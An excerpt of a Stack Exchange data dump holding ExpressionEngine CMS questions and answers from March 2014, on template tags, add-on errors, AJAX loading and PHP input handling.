  <row Id="20796" PostTypeId="2" ParentId="20786" CreationDate="2014-03-29T01:44:00.017" Score="2" Body="&lt;p&gt;As the docs explain, you need to setup your paths in your config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['stash_file_basepath'] = '/path/to/stash_templates/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs are here: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Installing-%26-upgrading&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Installing-%26-upgrading&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-29T01:44:00.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20800" PostTypeId="2" ParentId="20265" CreationDate="2014-03-29T07:53:18.970" Score="2" Body="&lt;p&gt;If you set different form_id on the forms and set different css classes on your error delimiters,&lt;br&gt;&#xA;then you will be able to use CSS to hide the errors in the other form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login form_id=&quot;form1&quot; ... error_delimiters='&amp;lt;span class=&quot;error_1&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;    ...&#xA;{/exp:freemember:login}&#xA;&#xA;{exp:freemember:login form_id=&quot;form2&quot; ... error_delimiters='&amp;lt;span class=&quot;error_2&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;    ...&#xA;{/exp:freemember:login}&#xA;&#xA;// css&#xA;#form1 .error_2, #form2 .error_1 { display:none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-03-29T18:17:39.413" LastActivityDate="2014-03-29T18:17:39.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20801" PostTypeId="1" CreationDate="2014-03-29T08:05:50.280" Score="0" ViewCount="64" Body="&lt;p&gt;I'm using tag entries like in Docs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries&#xA;        inclusive=&quot;yes&quot;&#xA;        orderby=&quot;entry_date&quot;&#xA;        sort=&quot;asc&quot;&#xA;        limit=&quot;10&quot;&#xA;        paginate=&quot;bottom&quot;        &#xA;        websafe_separator=&quot;+&quot; &#xA;    }&#xA;{tag_paginate}&#xA;        &amp;lt;div class=&quot;large-12 medium-12 columns center navigation-footer default_font&quot;&amp;gt;                            &#xA;            {tag_pagination_links}                            &#xA;        &amp;lt;/div&amp;gt;&#xA;    {/tag_paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But pagination links are generated without visual separator between words (its empty space, no +), the pagination actually works, but I have different links..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing some extra parameter to get pagination working. I'm using Stash partials and the tag_pagination is inside Switch case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-03-29T08:05:50.280" Title="Solspace tag entries pagination links" Tags="|stash|solspace|switchee|solspace-tag|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20802" PostTypeId="1" CreationDate="2014-03-29T10:09:18.723" Score="2" ViewCount="140" Body="&lt;p&gt;I'm trying to implement &lt;a href=&quot;http://eeinsider.com/articles/password-protected-content-made-simple/&quot; rel=&quot;nofollow&quot;&gt;this password protected content method&lt;/a&gt; on a v2.1.3 build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $IN;&#xA;&#xA;if ( ! $the_password = $IN-&amp;gt;GBL('the_password', 'POST') ) :&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...returns an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Input::GBL() in  /homepages/42/d186459053/htdocs/dri/expressionengine/libraries/Functions.php(650) : eval()'d code on line 17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After some &lt;a href=&quot;http://ellislab.com/forums/viewthread/182223/#862843&quot; rel=&quot;nofollow&quot;&gt;research&lt;/a&gt;, it looks like part of this has been deprecated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/conversion/syntax.html#input&quot; rel=&quot;nofollow&quot;&gt;I should be using&lt;/a&gt;... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('the_password');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, after reading &lt;a href=&quot;http://ellislab.com/forums/viewthread/237755/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, it looks like the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;global ee() function is only available since EE 2.6.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Upgrading EE at this time isn't an option. What could I do to to retrieve the POST variable in this instance so this method works?&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="1866" LastEditDate="2014-03-29T12:30:11.670" LastActivityDate="2014-03-29T20:17:30.390" Title="Alternative to global ee() function for v2.1.3" Tags="|fatal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20803" PostTypeId="2" ParentId="20721" CreationDate="2014-03-29T11:46:26.820" Score="2" Body="&lt;p&gt;In template global preferences set &quot;allow templates to be saved as files&quot;. Then edit a template from the control panel template manager, and check the checkbox to save the template as file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click save a notice should appear (top of window) that the file is saved. If EE is somehow not able to save the file, it will show a notice. Most of the times this is due to file permissions and/or file ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Figure 1. Notice when unable to save template as file&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtrT2.jpg&quot; alt=&quot;example: cannot save template as file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inside the template directory, the basic structure is&lt;br&gt;&#xA;&lt;code&gt;default_site/groupname.group/template_name.html&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Try saving a file from the template manager first&lt;br&gt;&#xA;and verify and follow the directory structure from there.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-03-29T12:12:54.127" LastActivityDate="2014-03-29T12:12:54.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20804" PostTypeId="2" ParentId="20802" CreationDate="2014-03-29T13:25:43.213" Score="0" Body="&lt;p&gt;Managed to get it working with the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (! $the_password = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('the_password')) : ?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA; &amp;lt;p&amp;gt;&#xA;  Enter your password:&amp;lt;br/&amp;gt;&#xA;  &amp;lt;input type=&quot;password&quot; name=&quot;the_password&quot; value=&quot;&quot; id=&quot;the_password&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Access Content &amp;amp;rarr;&quot; id=&quot;submit&quot; /&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;{exp:channel:entries channel=&quot;private_content&quot; &#xA; url_title=&quot;&amp;lt;?php echo $the_password;?&amp;gt;&quot; &#xA; dynamic=&quot;off&quot; limit=&quot;1&quot;}&#xA;&#xA; {if no_results}&amp;lt;p&amp;gt;Your password is incorrect. Would you like to&#xA;    &amp;lt;a href=&quot;{path='private'}&quot;&amp;gt;try again&amp;lt;/a&amp;gt;?&amp;lt;/p&amp;gt;{/if}&#xA;&#xA; {private_content}&#xA;&#xA;{/exp:channel:entries}&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2014-03-29T13:25:43.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20805" PostTypeId="2" ParentId="20802" CreationDate="2014-03-29T13:27:04.470" Score="1" Body="&lt;p&gt;The &lt;code&gt;ee()&lt;/code&gt; function in 2.6+ is just a shortcut to another function, &lt;code&gt;get_instance()&lt;/code&gt;, which appears in ALL versions of EE.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$EE =&amp;amp; get_instance();&#xA;if ( ! $the_password = $EE-&amp;gt;input-&amp;gt;post('the_password') ) :&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-03-29T13:27:04.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20806" PostTypeId="1" AcceptedAnswerId="20808" CreationDate="2014-03-29T15:06:06.030" Score="1" ViewCount="245" Body="&lt;p&gt;It is possible to parse an ExpressionEngine snippet inside a page via Ajax ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The EE code would be processed and returned as html or not??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-29T16:59:30.080" Title="It is possible to parse an ExpressionEngine snippet inside a page via Ajax?" Tags="|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20807" PostTypeId="2" ParentId="20783" CreationDate="2014-03-29T16:48:05.257" Score="0" Body="&lt;p&gt;My initial guess without seeing any code or settings is you might be spelling &quot;Notify&quot; wrong.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-29T16:48:05.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20808" PostTypeId="2" ParentId="20806" CreationDate="2014-03-29T16:59:30.080" Score="3" Body="&lt;p&gt;I don't think so unless you write a plugin to access the code in the DB. However you could easily create a hidden template IE ( _parsed_data.html). Then AJAX load it in to your to your current template using Jquery AJAX .load().&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;div#parsedData&quot;).load(&quot;{site_url}/templategroup/_parsed_data.html&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also with javascript depending on how you generate that url pass parameter restrictions through the url using segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;{segment_3}&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Viewed Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var seg3 = 3;&#xA;&#xA;$(&quot;div#parsedData&quot;).load(&quot;{site_url}/templategroup/_parsed_data.html/ '+ seg3&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-29T16:59:30.080" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20809" PostTypeId="2" ParentId="20790" CreationDate="2014-03-29T17:06:04.440" Score="3" Body="&lt;p&gt;Create a hidden template that is just the logged in username only. Then load it in via jquery ajax .load(); Once login is complete as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;               if (event.success) {&#xA;                    member_favourites = &quot;5&quot;;&#xA;                    //do something&#xA;                    $(&quot;div#username&quot;).load(&quot;_username.html&quot;);&#xA;                } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-29T17:06:04.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20810" PostTypeId="2" ParentId="20612" CreationDate="2014-03-29T18:51:01.553" Score="3" Body="&lt;p&gt;Well, I feel dumb. For some unknown reason, I had this setting in config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['multiple_sites_enabled'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changed to &quot;n&quot; and now things work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Palm to forehead.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-03-29T18:51:01.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20811" PostTypeId="2" ParentId="20802" CreationDate="2014-03-29T20:17:30.390" Score="1" Body="&lt;p&gt;So the correct answer to your question is the correct global ee() function for the version of EE you named is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE =&amp;amp; get_instance();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE // is the 2.6+ ee() equivalent.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-29T20:17:30.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20812" PostTypeId="1" CreationDate="2014-03-29T20:22:06.697" Score="1" ViewCount="202" Body="&lt;p&gt;i use &lt;code&gt;cp_js_end&lt;/code&gt; for use javascript in control panel pages, and &lt;code&gt;add_to_foo()&lt;/code&gt; for add js files,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that doesnt work! i test it in construct &amp;amp; hook functions but that doesnt work, code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cp_js_end() {&#xA;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt; script src=&quot;http://localhost/main.js&quot;&amp;gt;&amp;lt;/ script&amp;gt;');&#xA;&#xA;$output = $this-&amp;gt;EE-&amp;gt;extension-&amp;gt;last_call;&#xA;$output .= 'console.log(&quot;Script included&quot;)';&#xA;return $output; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i cant see “Script included” in console and there is no included file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for help :)&lt;/p&gt;&#xA;" OwnerUserId="2906" LastActivityDate="2014-03-29T20:22:06.697" Title="Why `add_to_foot()` doesnt work with `cp_js_end` hook?" Tags="|ee2|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20813" PostTypeId="2" ParentId="20719" CreationDate="2014-03-29T20:35:21.360" Score="1" Body="&lt;p&gt;Try this, and instead of hiding output2 after the dom has loaded add style=&quot;display:none;&quot; to #output2 in the html.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() { &#xA;    var options = { &#xA;        target:        '#output2',   // target element(s) to be updated with server response &#xA;        beforeSubmit:  showRequest,  // pre-submit callback &#xA;        success:       showResponse  // post-submit callback &#xA;    }; &#xA;&#xA;    // bind form using 'ajaxForm' &#xA;    $('#review_submit').ajaxForm(options); &#xA;}); &#xA;&#xA;// pre-submit callback &#xA;function showRequest(formData, jqForm, options) { &#xA;// Form validation stuff if you need it.&#xA;    return true; &#xA;} &#xA;&#xA;function showResponse(responseText, statusText, xhr, $form)  { &#xA;&#xA;    $('#output2').show();&#xA;    $('#output2').fadeIn(300).append('&amp;lt;p&amp;gt;Thanks for your interest, we have emailed you an issue pack!&amp;lt;/p&amp;gt;');&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-29T20:35:21.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20814" PostTypeId="1" AcceptedAnswerId="20820" CreationDate="2014-03-29T22:42:18.833" Score="0" ViewCount="42" Body="&lt;p&gt;I get this error when trying to do anything with modules or extensions. I'm currently deleting each ones presence from the db and filesystem, but i really don't want to drop freeform_pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what i can do besides delete files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined index: C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: addons/Addons_installer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 501&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-03-30T04:59:03.517" Title="Reverted back to 2.7.3 from 2.8.1, finding severe issues with addonbuilder" Tags="|ee2|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20815" PostTypeId="1" AcceptedAnswerId="20816" CreationDate="2014-03-30T00:20:01.047" Score="0" ViewCount="626" Body="&lt;p&gt;Basically im looking to show alternate images depending on the category id. Below I have shown my code, which doesnt work, but I would appreciate any information that any one could give me please! Some additional info about the categories can be seen in the screen shot. Also I have the channel:categories inside a channel:entries loop, the channel is grouped with the category. &lt;img src=&quot;https://i.stack.imgur.com/r3HNj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:categories style=&quot;linear&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                        {if cat_id ==&quot;70&quot;}&#xA;                                        &amp;lt;figure&amp;gt;&#xA;&#xA;                                                &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;                                                {if logo}&#xA;&#xA;                                                    &amp;lt;img src=&quot;{logo}&quot; class=&quot;logo&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                                                    {/if}&#xA;                                                &amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/figure&amp;gt;&#xA;&#xA;                                        {if:else}&#xA;&#xA;                                        //do something else&#xA;&#xA;                                    {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2014-03-30T01:20:03.583" LastActivityDate="2014-03-30T01:21:13.970" Title="category id with if:else statement" Tags="|categories|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20816" PostTypeId="2" ParentId="20815" CreationDate="2014-03-30T00:46:28.450" Score="3" Body="&lt;p&gt;This is what you will need to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                   {exp:channel:categories style=&quot;linear&quot;}&#xA;&#xA;                                        {if &quot;{category_id}&quot; == &quot;70&quot;}&#xA;                                            &amp;lt;figure&amp;gt;&#xA;                                                &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;                                                {if logo}&#xA;                                                    &amp;lt;img src=&quot;{logo}&quot; class=&quot;logo&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                                                /if}&#xA;                                                &amp;lt;/a&amp;gt;&#xA;                                            &amp;lt;/figure&amp;gt;&#xA;                                        {if:else}&#xA;&#xA;                                        //do something else&#xA;&#xA;                                        {/if}&#xA;&#xA;                                    {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-30T00:46:28.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20817" PostTypeId="1" CreationDate="2014-03-30T01:14:47.777" Score="0" ViewCount="116" Body="&lt;p&gt;After an ExpressionEngine 2.5.x to ExpressionEngine 2.8.1 upgrade, I'm running into an issue on a Zoo Visitor Registration form where Field Pack fields (previously the pre-ExpressionEngine 2.6 P&amp;amp;T Field Pack fields) are not rendering on the page, just the template tags themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the template code for one field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error:member_child_relationship}&#xA;{options:member_child_relationship}&#xA;&amp;lt;fieldset&amp;gt;&#xA;  &amp;lt;input type=&quot;radio&quot; id=&quot;child-relationship-{count}&quot; name=&quot;member_child_relationship&quot; value=&quot;{option_value}&quot; {if option_value == 'Parent'}required{/if}&amp;gt;&#xA;  &amp;lt;label for=&quot;child-relationship-{count}&quot;&amp;gt;{option_value}&amp;lt;/label&amp;gt;&#xA;  {if option_value == &quot;Other&quot;}&#xA;     &amp;lt;label for=&quot;child-relationship-writein&quot; class=&quot;visuallyhidden&quot;&amp;gt;Write in your relationship&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; id=&quot;child-relationship-writein&quot; name=&quot;member_child_relationship_other&quot; &amp;gt;&#xA;  {/if}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/options:member_child_relationship}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what appears on the page with the sign up form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:member_child_relationship}  {option_value}&#xA;{/options:member_child_relationship}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the latest versions of both add-ons installed: Zoo Visitor 1.3.31 and Field Pack 2.1.1. Other fields, text and text areas, are render as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this might be happening? From looking at the EE 2.8.1 and the Field Pack documentation, the syntax is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE (30 March 2014)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By moving to the stock versions of the checkbox and select fields, I was able to get things up and running again but still curious why the Field Pack equivalents  wouldn't parse...&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-03-30T22:09:08.793" LastActivityDate="2016-06-09T12:30:44.280" Title="Field Pack Fields Not Parsing in Zoo Visitor Registration Form" Tags="|zoo-visitor|field-pack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20819" PostTypeId="1" AcceptedAnswerId="20904" CreationDate="2014-03-30T01:39:18.053" Score="1" ViewCount="180" Body="&lt;p&gt;I've been searching everywhere and tried many options, so I'm reaching our for some help.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm Running EE 2.6.1, LV 2.4.2, Matrix 2.5.10 and Playa 4.4.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Low Variable called 'lv_obv_lot_directory' with 2 columns:  one is a simple dropdown (with numbers) called 'm_lot_location' and the other is a Playa field called 'm_lot_vendor', which pulls from a channel called obv_members.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running this in the basic form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_obv_lot_directory&quot;}&#xA;  &amp;lt;div&amp;gt;{m_lot_location}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets me a list of the numbers (in the order they are listed in the LV).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't get it to pull the list of associated vendors.  I've tried so many things, including a special embedded template.  The closest I came was with an embedded template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;obv_members&quot; fixed_order=&quot;{embed:entry_ids}&quot;  dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot; status=&quot;not closed&quot;} which just gave me a list of all of the vendor entries.  If I change it to fixed_order=&quot;0|{embed:entry_ids}&quot; then I just get the first entry.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I'm close, but obviously missing something.  HELP!!!  :(&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-11-24T06:30:02.877" Title="Low Variables and Matrix and Playa - Oh My!" Tags="|matrix|playa|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20820" PostTypeId="2" ParentId="20814" CreationDate="2014-03-30T04:59:03.517" Score="0" Body="&lt;p&gt;Always make a backup of database and the directory. Store them in a zip file. Get the backup running and working on a local development environment, and make another backup of this working copy. This way you can always return to a known working copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of the crucial modules don't work, then verify the add-on compatibility, but you will be able to keep the production website running on the version that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To temporary disable all extensions in 2.8, use the&lt;br&gt;&#xA;hidden config variable &lt;code&gt;$config['allow_extensions'] = 'y';&lt;/code&gt;&lt;br&gt;&#xA;and uninstall the offending extension for the time being.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new version of the add-on becomes available,&lt;br&gt;&#xA;repeat the process (of setting up a local working version)&lt;br&gt;&#xA;but prior to updating EE, first update the add-on for a smooth transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting on a lower level, does require knowledge of PHP and the system.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-03-30T04:59:03.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20822" PostTypeId="1" CreationDate="2014-03-30T11:13:55.317" Score="3" ViewCount="163" Body="&lt;p&gt;I'm getting a large number of spam from one of my contact forms and not sure how I can reduce this using Freeform Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the default CAPTCHA but I can't get that to work. Is there a way I can not allow HTML in the textarea element in my form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any good examples or tips to help me reduce it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2907" LastActivityDate="2014-06-30T20:01:00.370" Title="Freeform Pro &amp; ExpressionEngine" Tags="|solspace-freeform|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20823" PostTypeId="1" CreationDate="2014-03-30T16:21:41.300" Score="1" ViewCount="64" Body="&lt;p&gt;Using this tag &quot;{exp:freeform:composer form_name=&quot;form&quot;}&quot;, I'm receiving this output &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;{composer:page}{composer:multi_page_start} {composer:rows}&#xA;{composer:columns} &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&#xA;Freeform Pro 4.1.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone having an issue or am i not aware of change in this updated version?&#xA;I've looked over the documentation and i'm doing the same as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any luck?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-06-28T21:37:24.340" Title="EE 2.8.1 Solspace freeform 4.1.5 - composer issue" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20824" PostTypeId="1" CreationDate="2014-03-30T18:49:30.853" Score="1" ViewCount="176" Body="&lt;p&gt;Deprecated function EE_Fieldtype() called in system/expressionengine/third_party/nsm_tiny_mce/ft.nsm_tiny_mce.php on line 61.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to create a new channel field I get this:&#xA;Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in /home3/bartelsf/public_html/system/expressionengine/third_party/nsm_tiny_mce/ft.nsm_tiny_mce.php on line 61&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Tinymce 1.1.1 and updated to the most recent EE 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be very helpful!&lt;/p&gt;&#xA;" OwnerUserId="2784" LastActivityDate="2014-05-03T22:28:46.207" Title="Error Field Typewith EE2.8 and Tinymce" Tags="|ee2|channel-entries|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20825" PostTypeId="2" ParentId="20823" CreationDate="2014-03-30T20:23:24.330" Score="1" Body="&lt;p&gt;I ended up duplicating the form and it works now.&#xA;Strange enough, seems like the original form became corrupted in my db.&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-03-30T20:23:24.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
